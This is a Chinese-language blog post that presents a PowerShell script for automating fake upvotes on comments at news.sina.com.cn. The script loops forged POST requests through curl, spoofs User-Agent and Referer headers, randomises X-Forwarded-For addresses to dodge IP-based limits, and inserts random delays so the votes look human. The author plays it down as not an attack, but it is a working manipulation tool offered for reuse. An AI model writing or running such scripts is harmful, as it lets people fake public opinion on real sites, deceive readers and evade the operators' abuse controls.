这个脚本的原理很简单:发送伪造的 HTTP POST(点赞)请求来欺骗服务端,使点赞数据发生变化。不调用任何服务端 API 接口,不使用第三方服务,更不需要人工点击,也算不上是一种攻击。

It's about the network
这两条评论只用来验证脚本

这有点像跨站请求伪造(CSRF)但是没涉及到身份验证,底层原理可以看下我之前的文章,这次是对脚本做了一些改良。其实也有涉及身份验证的服务端欺骗,还有 App 工具,这些可能以后会介绍。

脚本做一件事:使用 HTTP 客户端发送伪造的数据。HTTP 客户端我这里用的是 cURL(Windows 10 自带这个工具),当然也可以用别的像 Flutter HTTP Package,不过这么做的话就变成 App 了。发送的数据则与目标网站的前后端通讯设计有关,之前的文章分析过这里就不再重复了。

# Automated voting script for news.sina.com.cn
# Updated: 2022-05

#cspell: disable
#Requires -Version 5.1
$ErrorActionPreference = "Stop"

$user_agent = 
'"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148"'
$referer = 
'"Referer: http://comment5.news.sina.com.cn"'
$url_vote = 
'"http://comment5.news.sina.com.cn/cmnt/vote"'

[string]$target = ""
[int]$count = 0
[int]$maxInterval = 0

$target = Read-Host -Prompt "target"
if ([String]::IsNullOrEmpty($target)) {
    Exit
}

$count = Read-Host -Prompt "count (100)"
if ($count -le 0) {
    $count = 100
}

$maxInterval = Read-Host -Prompt "max interval ($maxInterval, set 0 to disable)"
$target = $target.Replace("&mid", "&parent");
$data = "$target&format=js&vote=1&domain=sina.com.cn"

while ($count-- -gt 0) {
    $ip1 = Get-Random -Minimum 1 -Maximum 254
    $ip2 = Get-Random -Minimum 1 -Maximum 254
    $ip3 = Get-Random -Minimum 1 -Maximum 254
    $ip4 = Get-Random -Minimum 1 -Maximum 254
    $forwarded = "`"X-Forwarded-For: $ip1.$ip2.$ip3.$ip4`""

    [string[]] $arguments = "--silent",
    "--header", $user_agent,
    "--header", $referer,
    "--header", $forwarded,
    "--data", $data,
    $url_vote

    Write-Host
    Start-Process -FilePath "curl.exe" -ArgumentList $arguments -NoNewWindow -Wait

    if ($maxInterval -gt 0) {
        Write-Host
        Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum $maxInterval)
    }
}

Read-Host -Prompt "`nCompleted at $(Get-Date), any key to close"

上面是新的 PowerShell 点赞脚本,构造 HTTP 头设置 User-AgentReferer 等信息,设置 POST 数据(分析目标网站及目标评论得到),然后进入“点赞”循环,每次循环会随机生成 X-Forwarded-For 以欺骗服务器访问是来自代理,“点赞”信息伪造完成后通过 cURL 客户端发给服务器。最后等待一个随机时间再次发送,目的是让这个“点赞”看起来像是人类做的。

在 HTTP 标准中 X-Forwarded-For 表示客户端是通过 HTTP 代理或者或者负载均衡服务器来访问服务端,它可以在客户端主动设置,并不代表客户端事实上使用的代理,如果服务端相信客户端的 X-Forwarded-For 那么服务端就上当了。当然,关于 X-Forwarded-For 很多网站后端也意识到这个问题并且会做处理,所以这条欺代理骗未必会起作用,但是不影响“点赞”。

代码在 GitHub 上也放了一份,脚本执行会输入三个参数:target 表示需要点赞的评论;count 表示点赞次数;max interval 表示最大的点赞随机间隔时间(秒),0 则关闭随机间隔。

开头的图是点赞的效果,原理很简单,通讯协议可以分析,只要理解 HTTP,你也可以用别的语言来实现。八方点赞,谁都可以做。